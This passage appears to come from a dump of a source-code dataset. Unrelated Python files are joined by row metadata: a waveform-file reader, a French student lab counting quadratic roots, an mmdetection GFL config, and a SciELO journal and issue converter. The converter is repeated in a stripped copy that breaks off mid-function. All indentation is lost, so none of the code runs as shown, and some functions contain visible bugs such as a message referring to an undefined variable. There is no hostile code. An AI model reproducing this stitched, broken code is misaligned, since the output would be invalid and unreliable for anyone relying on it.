try: tgc = npunpack('float32', rcount)
except WaveformSetIOError as err:
msg = f'Unable to read {rcount} TGC values: {err}'
raise WaveformSetIOError(msg)
# For minor versions < 6, don't keep all-zero TGC
if minor > 5 or np.count_nonzero(tgc):
context['tgc'] = tgc
elif minor == 0:
try: txidx = npunpack('uint32', ntx) - 1
except WaveformSetIOError:
msg = 'Tx list must contain {ntx} values: {err}'
raise WaveformSetIOError(msg)
wset = cls(ntx=ntx, txstart=txstart, nsamp=nsamp, f2c=f2c,
dtype=(force_dtype or dtype), txgrps=txgrps)
wset.context = context
if header_only: return wset, nrx
if not stream_mode:
fsrec = f.tell()
buf = mmap.mmap(f.fileno(), 0, access=mmap.ACCESS_COPY)
f.seek(fsrec)
idx = -1
# ignore any group spec in the receive-channel headers
usegrps = (wset.txgrps is not None)
# Keep track of duplicate records, if necessary
if not allow_duplicates:
encountered = set()
# Parse through the specified number of receive records
# As a special case, when nrx is zero, read all possible records
while nrx == 0 or wset.nrx < nrx:
if minor == 2:
# Update running index
idx += 1
else:
# Read a global channel index
# Correct 1-based indexing in early versions
try: idx = funpack('<I')[0] - int(minor < 2)
except WaveformSetIOError: break
# Read element position and data window parameters
if minor > 1:
# Also read transmission group configuration
try: i, g, px, py, pz, ws, wl = funpack('<2I3f2I')
except WaveformSetIOError: break
txgrp = (i, g) if usegrps else None
if minor == 2:
# Correct an off-by-one window specification bug
if wl == nsamp and ws == 1: ws = 0
else:
try: px, py, pz, ws, wl = funpack('<3f2I')
except WaveformSetIOError: break
txgrp = None
# Build the channel header
hdr = (idx, (px, py, pz), (ws, wl), txgrp)
if not allow_duplicates:
if idx in encountered:
msg = f'Parsing terminated at duplicate record {idx}'
warnings.warn(WaveformSetIOWarning(msg))
# Avoid detecting junk after duplicate header
if not stream_mode: fsrec = f.tell()
break
encountered.add(idx)
# Determine the shape of the waveform
waveshape = (ntx, wl)
if not stream_mode:
# Return a view into the map
fsmap = f.tell()
try:
wavemap = np.ndarray(waveshape,
dtype=dtype, buffer=buf,
order='C', offset=fsmap)
except TypeError: break
# Skip to next header and update next record offset
f.seek(fsmap + wavemap.nbytes)
fsrec = f.tell()
else:
# Read into a new array
nvals = waveshape[0] * waveshape[1]
try: wavemap = npunpack(dtype, nvals).reshape(waveshape, order='C')
except WaveformSetIOError: break
if not skip_zero_length or wavemap.nbytes != 0:
if force_dtype is not None:
wmap = wavemap.astype(force_dtype)
else: wmap = wavemap
# Add the record to the set
wset.setrecord(hdr, wmap, copy=False)
if not stream_mode and f.tell() != fsrec:
warnings.warn(WaveformSetIOWarning('Junk at end of file'))
if nrx and wset.nrx != nrx:
err = f'Header specifies {nrx} records, but read {wset.nrx}'
if warn_on_error: warnings.warn(WaveformSetIOWarning(err))
else: raise WaveformSetIOError(err)
return wset
@property
def rxidx(self):
return list(self._records.keys())
@property
def txgrps(self):
return self._txgrps
@txgrps.setter
def txgrps(self, grps):
if grps == self._txgrps: return
if self.nrx > 0:
raise ValueError('Cannot change transmit-group configuration with existing records')
if grps is None:
self._txgrps = None
self.groupmap = None
return
try:
grps = TxGroupConfiguration(*grps)
except (TypeError, ValueError):
raise ValueError('Parameter must be None or (count, size) tuple')
if grps.maxtx < self.ntx:
raise ValueError('Implied maximum transmission count is less than number of recorded transmissions')
if grps.maxtx <= self.txstart:
raise ValueError('Implied maximum transmission count is less than starting transmission index')
self._txgrps = grps
self.groupmap = None
@property
def txstart(self):
return self._txstart
@txstart.setter
def txstart(self, txstart):
if txstart == self._txstart: return
txstart = strict_nonnegative_int(txstart)
try:
maxtx = self.txgrps.maxtx
except AttributeError:
pass
else:
if txstart >= maxtx:
raise ValueError('Parameter txstart exceeds maxtx of transmit-group configuration')
self._txstart = txstart
@property
def txidx(self):
txstart = self.txstart
txgrps = self.txgrps
try:
maxtx = self.txgrps.maxtx
except AttributeError:
for i in range(txstart, txstart + self.ntx):
yield i
else:
for i in range(txstart, txstart + self.ntx):
yield i % maxtx
@txidx.setter
def txidx(self, txidx):
txidx = list(txidx)
try: txstart = txidx[0]
except IndexError:
self.ntx = 0
self.txstart = 0
return
try:
maxtx = self.txgrps.maxtx
except AttributeError:
def nextval(x): return (x + 1)
else:
def nextval(x): return (x + 1) % maxtx
last = txstart
sequential = True
for nv in txidx[1:]:
last = nextval(last)
if nv != last:
sequential = False
break
def atomic_set(txstart, ntx):
# Record the old txstart to ensure atomicity
otxstart = self.txstart
self.txstart = txstart
try: self.ntx = ntx
except:
# Restore the old txstart before failing
self.txstart = otxstart
raise
if not sequential:
if self.txgrps is not None:
raise ValueError('Indices must be sequential or wrap when txgrps is defines')
# Set txgrp configuration to remap out-of-sequence indices
atomic_set(0, len(txidx))
self.txgrps = (self.ntx, 1)
self.groupmap = { txi: (0, i) for i, txi in enumerate(txidx) }
else:
atomic_set(txstart, len(txidx))
@property
def ntx(self):
return self._ntx
@ntx.setter
def ntx(self, ntx):
# Take no action if the count hasn't changed
if ntx == self._ntx: return
if self.nrx > 0:
raise ValueError('Cannot change number of transmissions with existing records')
try:
if ntx > self.txgrps.maxtx:
raise ValueError('Number of transmissions must not exceed maxtx implied by transmit-group configuration')
except AttributeError:
pass
self._ntx = strict_nonnegative_int(ntx)
@property
def nrx(self):
return len(self._records)
@property
def dtype(self):
return self._dtype
@dtype.setter
def dtype(self, value):
if self._dtype == value: return
if self.nrx > 0:
raise ValueError('Cannot change datatype with existing records')
self._dtype = np.dtype(value)
@property
def nsamp(self):
return self._nsamp
@nsamp.setter
def nsamp(self, nsamp):
if self._nsamp == nsamp: return
# Force the new value to be an nonnegative integer
nsamp = strict_nonnegative_int(nsamp)
# Check all existing records to ensure their windows don't
for hdr, wforms in self.allrecords():
start, length = hdr.win
if start + length > nsamp:
raise ValueError('Acquisition window fails to contain stored waveforms')
self._nsamp = nsamp
@property
def f2c(self):
return self._f2c
@f2c.setter
def f2c(self, val):
if self._f2c == val: return
self._f2c = strict_nonnegative_int(val)
@property
def groupmap(self):
return dict(self._groupmap)
@groupmap.setter
def groupmap(self, grpmap):
if grpmap is None or len(grpmap) < 1:
self._groupmap = { }
return
if self.txgrps is None:
raise ValueError('Cannot set a group map without a txgrps configuration for the WaveformSet')
ngrpmap = { }
for k, v in grpmap.items():
ki = strict_nonnegative_int(k)
vi, vg = [strict_nonnegative_int(vl) for vl in v]
if vi >= self.txgrps.size:
raise ValueError('Local index in group map exceeds txgrp size')
if vg >= self.txgrps.count:
raise ValueError('Group index in group map exceeds txgrp count')
ngrpmap[ki] = (vi, vg)
for hdr in self.allheaders():
if ngrpmap.get(hdr.idx, hdr.txgrp) != hdr.txgrp:
raise ValueError('Group map does not match receive-channel record at index %d' % hdr.idx)
self._groupmap = ngrpmap
def element2tx(self, elt, unfold=True):
elt = strict_nonnegative_int(elt)
try: gcount, gsize = self.txgrps
except TypeError: return elt
try:
txgrp = self._groupmap[elt]
except KeyError:
try: txgrp = self.getheader(elt).txgrp
except KeyError:
raise KeyError('Could not find map record for receive channel %d' % elt)
try:
idx, grp = txgrp
except (TypeError, ValueError) as e:
raise ValueError('Unable to unpack invalid txgrp for channel %d' % elt)
return (grp * gsize + idx) if unfold else (idx, grp)
def tx2row(self, tid):
tid = strict_nonnegative_int(tid)
txstart = self.txstart
try: maxtx = self.txgrps.maxtx
except AttributeError: maxtx = None
if maxtx is not None:
if tid >= maxtx:
raise ValueError('Argument tid exceeds self.txgrps.maxtx')
if tid < txstart: tid += maxtx
tid -= self.txstart
if not 0 <= tid < self.ntx:
raise ValueError('Transmit index is not contained in this file')
return tid
def _get_record_raw(self, rid):
return self._records[strict_nonnegative_int(rid)]
def getheader(self, rid):
return self._get_record_raw(rid)[0]
def getrecord(self, rid, tid=None, window=None, dtype=None, maptids=False):
hdr, waveforms = self._get_record_raw(rid)
if maptids and tid is not None:
try:
tid = self.element2tx(tid)
except TypeError:
tid = [self.element2tx(t) for t in tid]
try:
tcidx = self.tx2row(tid)
singletx = True
except TypeError:
singletx = False
if tid is None:
tcidx = list(range(self.ntx))
else:
tcidx = [self.tx2row(t) for t in tid]
if window is None:
if dtype is None:
return hdr, waveforms[tcidx,:]
else:
if dtype == 0:
dtype = waveforms.dtype
return hdr, waveforms[tcidx,:].astype(dtype, copy=True)
from .sigtools import Window
window = Window(window)
if dtype is None or dtype == 0:
dtype = waveforms.dtype
oshape = (1 if singletx else len(tcidx), window.length)
output = np.zeros(oshape, dtype=dtype)
try:
from pycwp.cutil import overlap
ostart, istart, wlen = overlap(window, hdr.win)
oend, iend = ostart + wlen, istart + wlen
output[:,ostart:oend] = waveforms[tcidx,istart:iend]
except TypeError: pass
if singletx: output = output[0]
return hdr.copy(win=window), output
def getwaveform(self, rid, tid, *args, cyclic=False, **kwargs):
from .sigtools import Waveform
hdr, wform = self.getrecord(rid, tid, *args, **kwargs)
if np.ndim(wform) == 1:
wave = Waveform(self.nsamp, wform, hdr.win.start)
wave = wave.shift(self.f2c, cyclic=cyclic)
return wave
else:
warr = [ ]
for w in wform:
wave = Waveform(self.nsamp, w, hdr.win.start)
wave = wave.shift(self.f2c, cyclic=cyclic)
warr.append(wave)
return warr
def delrecord(self, rid):
del self._records[strict_nonnegative_int(rid)]
def clearall(self):
self._records = OrderedDict()
def setrecord(self, hdr, waveforms=None, copy=True):
hdr = RxChannelHeader(*hdr)
if self.txgrps is not None:
if hdr.txgrp is None:
try:
txgrp = self.element2tx(hdr.idx, unfold=False)
except (KeyError, TypeError):
raise ValueError('Record is missing required txgrp configuration')
else:
hdr = hdr.copy(txgrp=txgrp)
elif hdr.txgrp.grp >= self.txgrps.count:
raise ValueError('Record group number too large')
elif hdr.txgrp.idx >= self.txgrps.size:
raise ValueError('Record local index too large')
else:
try:
rgrp = self.groupmap[hdr.idx]
except (TypeError, KeyError):
pass
else:
if rgrp != hdr.txgrp:
raise ValueError('Record txgrp does not match groupmap')
elif hdr.txgrp is not None:
raise ValueError('Record contains inappropriate txgrp configuration')
if hdr.win.end > self.nsamp:
raise ValueError('Waveform sample window exceeds acquisition window duration')
if waveforms is None:
wshape = (self.ntx, hdr.win.length)
waveforms = np.zeros(wshape, dtype=self.dtype)
else:
try:
if copy or waveforms.dtype != self.dtype:
raise TypeError('Conversion of dtypes required')
except (AttributeError, TypeError):
waveforms = np.array(waveforms, dtype=self.dtype)
if waveforms.ndim < 2:
waveforms = waveforms[[None] * (2 - waveforms.ndim)]
ntx, nsamp = waveforms.shape
if ntx != self.ntx:
raise ValueError('Waveform array does not match transmission count for set')
if nsamp != hdr.win.length:
raise ValueError('Waveform array does not match sample count specified in header')
self._records[hdr.idx] = (hdr, waveforms)
def allrecords(self, *args, **kwargs):
for rid in sorted(self.rxidx):
yield self.getrecord(rid, *args, **kwargs)
def allheaders(self):
for rid in sorted(self.rxidx):
yield self.getheader(rid)
| true | true |
f7f36e815274af15754e557d4445793d2af7b368 | 1,140 | py | Python | Labs/lab3/l3e4.py | felixchiasson/ITI1520 | 4208904bf7576433313524ebd1c1bdb9f49277f2 | [
"MIT"
] | null | null | null | Labs/lab3/l3e4.py | felixchiasson/ITI1520 | 4208904bf7576433313524ebd1c1bdb9f49277f2 | [
"MIT"
] | null | null | null | Labs/lab3/l3e4.py | felixchiasson/ITI1520 | 4208904bf7576433313524ebd1c1bdb9f49277f2 | [
"MIT"
] | null | null | null | #! /usr/bin/env python3
###############################################################################
# File Name : l3e4.py
# Created By : Félix Chiasson (7138723)
# Creation Date : [2015-09-29 12:19]
# Last Modified : [2015-09-29 14:28]
# Description : Détermine le nombre de racine réelles pour
# une equation
###############################################################################
def nbRacines(a, b, c):
discriminant = b**2 - 4*a*c
discriminant = round(discriminant)
if discriminant == 0:
racines = 1
elif discriminant > 0:
racines = 2
else:
racines = 0
return racines
a = float(input('Entrez la valeur de a: '))
b = float(input('Entrez la valeur de b: '))
c = float(input('Entrez la valeur de c: '))
resultat = nbRacines(a, b, c)
if resultat == 1:
print("Il y a une racine réelle (deux identiques)")
elif resultat == 2:
print("Il y a deux racines distinctes")
elif resultat == 0:
print("Il n'y a pas de racines réelles")
else:
print("I don't know")
| 32.571429 | 79 | 0.486842 | true | true | |
f7f36fbfefe9479984def8c8b40544a930ddf402 | 4,424 | py | Python | local_configs/share/gfl_r50_SyncBN_4x.py | SunshineOnLeft/share | cca0f32fbedb935e5a338ddfcb2694701049f907 | [
"Apache-2.0"
] | 1 | 2020-04-28T11:42:04.000Z | 2020-04-28T11:42:04.000Z | local_configs/share/gfl_r50_SyncBN_4x.py | SunshineOnLeft/mmdetection | cca0f32fbedb935e5a338ddfcb2694701049f907 | [
"Apache-2.0"
] | null | null | null | local_configs/share/gfl_r50_SyncBN_4x.py | SunshineOnLeft/mmdetection | cca0f32fbedb935e5a338ddfcb2694701049f907 | [
"Apache-2.0"
] | null | null | null | # model settings
model = dict(
type='GFL',
pretrained='torchvision://resnet50',
backbone=dict(
type='ResNet',
depth=50,
num_stages=4,
out_indices=(0, 1, 2, 3),
frozen_stages=1,
norm_cfg=dict(type='BN', requires_grad=True),
norm_eval=True,
style='pytorch'),
neck=dict(
type='FPN',
in_channels=[256, 512, 1024, 2048],
out_channels=256,
start_level=1,
add_extra_convs='on_output',
num_outs=5),
bbox_head=dict(
type='GFLHead',
norm_cfg=dict(type='SyncBN', requires_grad=True),
num_classes=80,
in_channels=256,
stacked_convs=4,
feat_channels=256,
anchor_generator=dict(
type='AnchorGenerator',
ratios=[1.0],
octave_base_scale=8,
scales_per_octave=1,
strides=[8, 16, 32, 64, 128]),
loss_cls=dict(
type='QualityFocalLoss',
use_sigmoid=True,
beta=2.0,
loss_weight=1.0),
loss_dfl=dict(type='DistributionFocalLoss', loss_weight=0.25),
reg_max=16,
loss_bbox=dict(type='GIoULoss', loss_weight=2.0)))
# training and testing settings
train_cfg = dict(
assigner=dict(type='ATSSAssigner', topk=9),
allowed_border=-1,
pos_weight=-1,
debug=False)
test_cfg = dict(
nms_pre=1000,
min_bbox_size=0,
score_thr=0.05,
nms=dict(type='nms', iou_threshold=0.6),
max_per_img=100)
# dataset settings
dataset_type = 'CocoDataset'
data_root = '/share2/public/xldetection/coco/'
# multi-scale training
img_norm_cfg = dict(
mean=[123.675, 116.28, 103.53], std=[58.395, 57.12, 57.375], to_rgb=True)
train_pipeline = [
dict(type='LoadImageFromFile', to_float32=True),
dict(type='LoadAnnotations', with_bbox=True),
dict(type='PhotoMetricDistortion'),
# dict(
# type='Resize',
# img_scale=(1333, 800),
# ratio_range=[0.5, 1.5],
# keep_ratio=True),
dict(
type='RandomCrop',
crop_size=[0.7, 0.7],
crop_type='relative_range'),
dict(
type='Resize',
img_scale=[(1333, 400), (1333, 1200)],
multiscale_mode='range',
keep_ratio=True),
# dict(
# type='Resize',
# img_scale=[(1333, 480), (1333, 900)],
# multiscale_mode='range',
# keep_ratio=True,
# override=True),
dict(type='RandomFlip', flip_ratio=0.5),
dict(type='Normalize', **img_norm_cfg),
dict(type='Pad', size_divisor=32),
dict(type='DefaultFormatBundle'),
dict(type='Collect', keys=['img', 'gt_bboxes', 'gt_labels']),
]
test_pipeline = [
dict(type='LoadImageFromFile'),
dict(
type='MultiScaleFlipAug',
img_scale=(1333, 800),
flip=False,
transforms=[
dict(type='Resize', keep_ratio=True),
dict(type='RandomFlip'),
dict(type='Normalize', **img_norm_cfg),
dict(type='Pad', size_divisor=32),
dict(type='ImageToTensor', keys=['img']),
dict(type='Collect', keys=['img']),
])
]
data = dict(
samples_per_gpu=2,
workers_per_gpu=2,
train=dict(
type=dataset_type,
ann_file=data_root + 'annotations/instances_train2017.json',
img_prefix=data_root + 'train2017/',
pipeline=train_pipeline),
val=dict(
type=dataset_type,
ann_file=data_root + 'annotations/instances_val2017.json',
img_prefix=data_root + 'val2017/',
pipeline=test_pipeline),
test=dict(
type=dataset_type,
ann_file=data_root + 'annotations/instances_val2017.json',
img_prefix=data_root + 'val2017/',
pipeline=test_pipeline))
evaluation = dict(interval=1, metric='bbox')
# optimizer
optimizer = dict(type='SGD', lr=0.01, momentum=0.9, weight_decay=0.0001)
optimizer_config = dict(grad_clip=None)
# learning policy
lr_config = dict(
policy='step',
warmup='linear',
warmup_iters=500,
warmup_ratio=0.001,
step=[32, 44])
total_epochs = 48
checkpoint_config = dict(interval=4)
# yapf:disable
log_config = dict(
interval=50,
hooks=[
dict(type='TextLoggerHook'),
# dict(type='TensorboardLoggerHook')
])
# yapf:enable
dist_params = dict(backend='nccl')
log_level = 'INFO'
load_from = None
resume_from = None
workflow = [('train', 1)]
| 27.823899 | 77 | 0.600588 |
model = dict(
type='GFL',
pretrained='torchvision://resnet50',
backbone=dict(
type='ResNet',
depth=50,
num_stages=4,
out_indices=(0, 1, 2, 3),
frozen_stages=1,
norm_cfg=dict(type='BN', requires_grad=True),
norm_eval=True,
style='pytorch'),
neck=dict(
type='FPN',
in_channels=[256, 512, 1024, 2048],
out_channels=256,
start_level=1,
add_extra_convs='on_output',
num_outs=5),
bbox_head=dict(
type='GFLHead',
norm_cfg=dict(type='SyncBN', requires_grad=True),
num_classes=80,
in_channels=256,
stacked_convs=4,
feat_channels=256,
anchor_generator=dict(
type='AnchorGenerator',
ratios=[1.0],
octave_base_scale=8,
scales_per_octave=1,
strides=[8, 16, 32, 64, 128]),
loss_cls=dict(
type='QualityFocalLoss',
use_sigmoid=True,
beta=2.0,
loss_weight=1.0),
loss_dfl=dict(type='DistributionFocalLoss', loss_weight=0.25),
reg_max=16,
loss_bbox=dict(type='GIoULoss', loss_weight=2.0)))
train_cfg = dict(
assigner=dict(type='ATSSAssigner', topk=9),
allowed_border=-1,
pos_weight=-1,
debug=False)
test_cfg = dict(
nms_pre=1000,
min_bbox_size=0,
score_thr=0.05,
nms=dict(type='nms', iou_threshold=0.6),
max_per_img=100)
dataset_type = 'CocoDataset'
data_root = '/share2/public/xldetection/coco/'
img_norm_cfg = dict(
mean=[123.675, 116.28, 103.53], std=[58.395, 57.12, 57.375], to_rgb=True)
train_pipeline = [
dict(type='LoadImageFromFile', to_float32=True),
dict(type='LoadAnnotations', with_bbox=True),
dict(type='PhotoMetricDistortion'),
dict(
type='RandomCrop',
crop_size=[0.7, 0.7],
crop_type='relative_range'),
dict(
type='Resize',
img_scale=[(1333, 400), (1333, 1200)],
multiscale_mode='range',
keep_ratio=True),
dict(type='RandomFlip', flip_ratio=0.5),
dict(type='Normalize', **img_norm_cfg),
dict(type='Pad', size_divisor=32),
dict(type='DefaultFormatBundle'),
dict(type='Collect', keys=['img', 'gt_bboxes', 'gt_labels']),
]
test_pipeline = [
dict(type='LoadImageFromFile'),
dict(
type='MultiScaleFlipAug',
img_scale=(1333, 800),
flip=False,
transforms=[
dict(type='Resize', keep_ratio=True),
dict(type='RandomFlip'),
dict(type='Normalize', **img_norm_cfg),
dict(type='Pad', size_divisor=32),
dict(type='ImageToTensor', keys=['img']),
dict(type='Collect', keys=['img']),
])
]
data = dict(
samples_per_gpu=2,
workers_per_gpu=2,
train=dict(
type=dataset_type,
ann_file=data_root + 'annotations/instances_train2017.json',
img_prefix=data_root + 'train2017/',
pipeline=train_pipeline),
val=dict(
type=dataset_type,
ann_file=data_root + 'annotations/instances_val2017.json',
img_prefix=data_root + 'val2017/',
pipeline=test_pipeline),
test=dict(
type=dataset_type,
ann_file=data_root + 'annotations/instances_val2017.json',
img_prefix=data_root + 'val2017/',
pipeline=test_pipeline))
evaluation = dict(interval=1, metric='bbox')
optimizer = dict(type='SGD', lr=0.01, momentum=0.9, weight_decay=0.0001)
optimizer_config = dict(grad_clip=None)
lr_config = dict(
policy='step',
warmup='linear',
warmup_iters=500,
warmup_ratio=0.001,
step=[32, 44])
total_epochs = 48
checkpoint_config = dict(interval=4)
log_config = dict(
interval=50,
hooks=[
dict(type='TextLoggerHook'),
])
dist_params = dict(backend='nccl')
log_level = 'INFO'
load_from = None
resume_from = None
workflow = [('train', 1)]
| true | true |
f7f3713d8e21b003b4dc406f37eadf5be5e080e3 | 7,933 | py | Python | documentstore_migracao/utils/xylose_converter.py | joffilyfe/document-store-migracao | b5125b7aedec56f0e8787900bdfd124aaf65e3e3 | [
"BSD-2-Clause"
] | null | null | null | documentstore_migracao/utils/xylose_converter.py | joffilyfe/document-store-migracao | b5125b7aedec56f0e8787900bdfd124aaf65e3e3 | [
"BSD-2-Clause"
] | 14 | 2019-03-13T12:19:12.000Z | 2019-03-19T17:37:08.000Z | documentstore_migracao/utils/xylose_converter.py | joffilyfe/document-store-migracao | b5125b7aedec56f0e8787900bdfd124aaf65e3e3 | [
"BSD-2-Clause"
] | 3 | 2019-03-12T18:55:55.000Z | 2019-03-20T18:38:02.000Z | import logging
from typing import List
from datetime import datetime
from documentstore_migracao.utils import scielo_ids_generator
from xylose.scielodocument import Journal, Issue
logger = logging.getLogger(__name__)
def date_to_datetime(date: str) -> datetime:
"""Transforma datas no formato ISO em objetos datetime"""
return datetime.strptime(date, "%Y-%m-%dT%H:%M:%S.%fZ")
def parse_date(date: str) -> str:
"""Traduz datas em formato simples ano-mes-dia, ano-mes para
o formato iso utilizado durantr a persistência do Kernel"""
_date = None
try:
_date = (
datetime.strptime(date, "%Y-%m-%d").isoformat(timespec="microseconds") + "Z"
)
except ValueError:
try:
_date = (
datetime.strptime(date, "%Y-%m").isoformat(timespec="microseconds")
+ "Z"
)
except ValueError:
_date = (
datetime.strptime(date, "%Y").isoformat(timespec="microseconds") + "Z"
)
return _date
def set_metadata(date: str, data: any) -> List[List]:
"""Retorna a estrutura básica de um `campo` de metadata
no formato do Kernel"""
return [[date, data]]
def journal_to_kernel(journal):
"""Transforma um objeto Journal (xylose) para o formato
de dados equivalente ao persistido pelo Kernel em um banco
mongodb"""
# TODO: Virá algo do xylose para popular o campo de métricas?
_id = journal.scielo_issn
if not _id:
raise ValueError("É preciso que o periódico possua um id")
_creation_date = parse_date(journal.creation_date)
_metadata = {}
_bundle = {
"_id": _id,
"id": _id,
"created": _creation_date,
"updated": _creation_date,
"items": [],
"metadata": _metadata,
}
if journal.mission:
_mission = [
{"language": lang, "value": value}
for lang, value in journal.mission.items()
]
_metadata["mission"] = set_metadata(_creation_date, _mission)
if journal.title:
_metadata["title"] = set_metadata(_creation_date, journal.title)
if journal.abbreviated_iso_title:
_metadata["title_iso"] = set_metadata(
_creation_date, journal.abbreviated_iso_title
)
if journal.abbreviated_title:
_metadata["short_title"] = set_metadata(
_creation_date, journal.abbreviated_title
)
_metadata["acronym"] = set_metadata(_creation_date, journal.acronym)
if journal.scielo_issn:
_metadata["scielo_issn"] = set_metadata(_creation_date, journal.scielo_issn)
if journal.print_issn:
_metadata["print_issn"] = set_metadata(_creation_date, journal.print_issn)
if journal.electronic_issn:
_metadata["electronic_issn"] = set_metadata(
_creation_date, journal.electronic_issn
)
if journal.status_history:
_metadata["status"] = []
for status in journal.status_history:
_status = {"status": status[1]}
if status[2]:
_status["reason"] = status[2]
# TODO: Temos que verificar se as datas são autoritativas
_metadata["status"].append([parse_date(status[0]), _status])
if journal.subject_areas:
_metadata["subject_areas"] = set_metadata(
_creation_date, [area.upper() for area in journal.subject_areas]
)
if journal.sponsors:
_sponsors = [{"name": sponsor} for sponsor in journal.sponsors]
_metadata["sponsors"] = set_metadata(_creation_date, _sponsors)
if journal.wos_subject_areas:
_metadata["subject_categories"] = set_metadata(
_creation_date, journal.wos_subject_areas
)
if journal.submission_url:
_metadata["online_submission_url"] = set_metadata(
_creation_date, journal.submission_url
)
if journal.next_title:
_next_journal = {"name": journal.next_title}
_metadata["next_journal"] = set_metadata(_creation_date, _next_journal)
if journal.previous_title:
_previous_journal = {"name": journal.previous_title}
_metadata["previous_journal"] = set_metadata(_creation_date, _previous_journal)
_contact = {}
if journal.editor_email:
_contact["email"] = journal.editor_email
if journal.editor_address:
_contact["address"] = journal.editor_address
if _contact:
_metadata["contact"] = set_metadata(_creation_date, _contact)
return _bundle
def get_journal_issn_in_issue(issue) -> str:
"""Retorna o ISSN ID de um periódico na
perspectiva da issue"""
return issue.data.get("issue").get("v35")[0]["_"]
def issue_to_kernel(issue):
"""Transforma um objeto Issue (xylose) para o formato
de dados equivalente ao persistido pelo Kernel em um banco
mongodb"""
issn_id = issue.data["issue"]["v35"][0]["_"]
_creation_date = parse_date(issue.publication_date)
_metadata = {}
_bundle = {
"created": _creation_date,
"updated": _creation_date,
"items": [],
"metadata": _metadata,
}
_year = str(date_to_datetime(_creation_date).year)
_month = str(date_to_datetime(_creation_date).month)
_metadata["publication_year"] = set_metadata(_creation_date, _year)
if issue.volume:
_metadata["volume"] = set_metadata(_creation_date, issue.volume)
if issue.number:
_metadata["number"] = set_metadata(_creation_date, issue.number)
_supplement = None
if issue.type is "supplement":
_supplement = "0"
if issue.supplement_volume:
_supplement = issue.supplement_volume
elif issue.supplement_number:
_supplement = issue.supplement_number
_metadata["supplement"] = set_metadata(_creation_date, _supplement)
if issue.titles:
_titles = [
{"language": lang, "value": value} for lang, value in issue.titles.items()
]
_metadata["titles"] = set_metadata(_creation_date, _titles)
publication_months = {}
if issue.start_month and issue.end_month:
publication_months["range"] = (int(issue.start_month), int(issue.end_month))
elif _month:
publication_months["month"] = int(_month)
_metadata["publication_months"] = set_metadata(_creation_date, publication_months)
_id = scielo_ids_generator.issue_id(
issn_id, _year, issue.volume, issue.number, _supplement
)
_bundle["_id"] = _id
_bundle["id"] = _id
return _bundle
def get_journal_issns_from_issue(issue: Issue) -> List[str]:
"""Busca por todos os issns de periódico disponíveis em uma
issue. Os ISSNs podem estar nos dois campos v35 e v435 com
ou sem repetição"""
issns = [get_journal_issn_in_issue(issue)]
if not "v435" in issue.data["issue"]:
return issns
issns.extend([issn["_"] for issn in issue.data["issue"]["v435"]])
return list(set(issns))
def find_documents_bundles(journal: dict, issues: List[Issue]):
"""Busca o id de todos os fascículos associados ao periódico. Um id
é encontrado quando pelo menos um ISSN relacionado ao fascículo também
está presente no periódico.
"""
issues_ids = []
journal_issns = []
journal_issn_fields = ["electronic_issn", "print_issn", "scielo_issn"]
_metadata = journal["metadata"]
for field in journal_issn_fields:
try:
journal_issns.append(_metadata[field][0][-1])
except (KeyError, IndexError):
pass
journal_issns = list(set(journal_issns))
for issue in issues:
issue_issns = get_journal_issns_from_issue(issue)
has_matched_issns = list(
filter(lambda issn: issn in journal_issns, issue_issns)
)
if has_matched_issns:
issues_ids.append(issue_to_kernel(issue).get("id"))
return issues_ids
| 30.163498 | 88 | 0.651708 | import logging
from typing import List
from datetime import datetime
from documentstore_migracao.utils import scielo_ids_generator
from xylose.scielodocument import Journal, Issue
logger = logging.getLogger(__name__)
def date_to_datetime(date: str) -> datetime:
return datetime.strptime(date, "%Y-%m-%dT%H:%M:%S.%fZ")
def parse_date(date: str) -> str:
_date = None
try:
_date = (
datetime.strptime(date, "%Y-%m-%d").isoformat(timespec="microseconds") + "Z"
)
except ValueError:
try:
_date = (
datetime.strptime(date, "%Y-%m").isoformat(timespec="microseconds")
+ "Z"
)
except ValueError:
_date = (
datetime.strptime(date, "%Y").isoformat(timespec="microseconds") + "Z"
)
return _date
def set_metadata(date: str, data: any) -> List[List]:
return [[date, data]]
def journal_to_kernel(journal):
_id = journal.scielo_issn
if not _id:
raise ValueError("É preciso que o periódico possua um id")
_creation_date = parse_date(journal.creation_date)
_metadata = {}
_bundle = {
"_id": _id,
"id": _id,
"created": _creation_date,
"updated": _creation_date,
"items": [],
"metadata": _metadata,
}
if journal.mission:
_mission = [
{"language": lang, "value": value}
for lang, value in journal.mission.items()
]
_metadata["mission"] = set_metadata(_creation_date, _mission)
if journal.title:
_metadata["title"] = set_metadata(_creation_date, journal.title)
if journal.abbreviated_iso_title:
_metadata["title_iso"] = set_metadata(
_creation_date, journal.abbreviated_iso_title
)
if journal.abbreviated_title:
_metadata["short_title"] = set_metadata(
_creation_date, journal.abbreviated_title
)
_metadata["acronym"] = set_metadata(_creation_date, journal.acronym)
if journal.scielo_issn:
_metadata["scielo_issn"] = set_metadata(_creation_date, journal.scielo_issn)
if journal.print_issn:
_metadata["print_issn"] = set_metadata(_creation_date, journal.print_issn)
if journal.electronic_issn:
_metadata["electronic_issn"] = set_metadata(
_creation_date, journal.electronic_issn
)
if journal.status_history:
_metadata["status"] = []
for status in journal.status_history:
_status = {"status": status[1]}
if status[2]:
_status["reason"] = status[2]
_metadata["status"].append([parse_date(status[0]), _status])
if journal.subject_areas:
_metadata["subject_areas"] = set_metadata(
_creation_date, [area.upper() for area in journal.subject_areas]
)
if journal.sponsors:
_sponsors = [{"name": sponsor} for sponsor in journal.sponsors]
_metadata["sponsors"] = set_metadata(_creation_date, _sponsors)
if journal.wos_subject_areas:
_metadata["subject_categories"] = set_metadata(
_creation_date, journal.wos_subject_areas
)
if journal.submission_url:
_metadata["online_submission_url"] = set_metadata(
_creation_date, journal.submission_url
)
if journal.next_title:
_next_journal = {"name": journal.next_title}
_metadata["next_journal"] = set_metadata(_creation_date, _next_journal)
if journal.previous_title:
_previous_journal = {"name": journal.previous_title}
_metadata["previous_journal"] = set_metadata(_creation_date, _previous_journal)
_contact = {}
if journal.editor_email:
_contact["email"] = journal.editor_email
if journal.editor_address:
_contact["address"] = journal.editor_address
if _contact:
_metadata["contact"] = set_metadata(_creation_date, _contact)
return _bundle
def get_journal_issn_in_issue(issue) -> str:
return issue.data.get("issue").get("v35")[0]["_"]
def issue_to_kernel(issue):
issn_id = issue.data["issue"]["v35"][0]["_"]
_creation_date = parse_date(issue.publication_date)
_metadata = {}
_bundle = {
"created": _creation_date,
"updated": _creation_date,
"items": [],
"metadata": _metadata,
}
_year = str(date_to_datetime(_creation_date).year)
_month = str(date_to_datetime(_creation_date).month)
_metadata["publication_year"] = set_metadata(_creation_date, _year)
if issue.volume:
_metadata["volume"] = set_metadata(_creation_date, issue.volume)
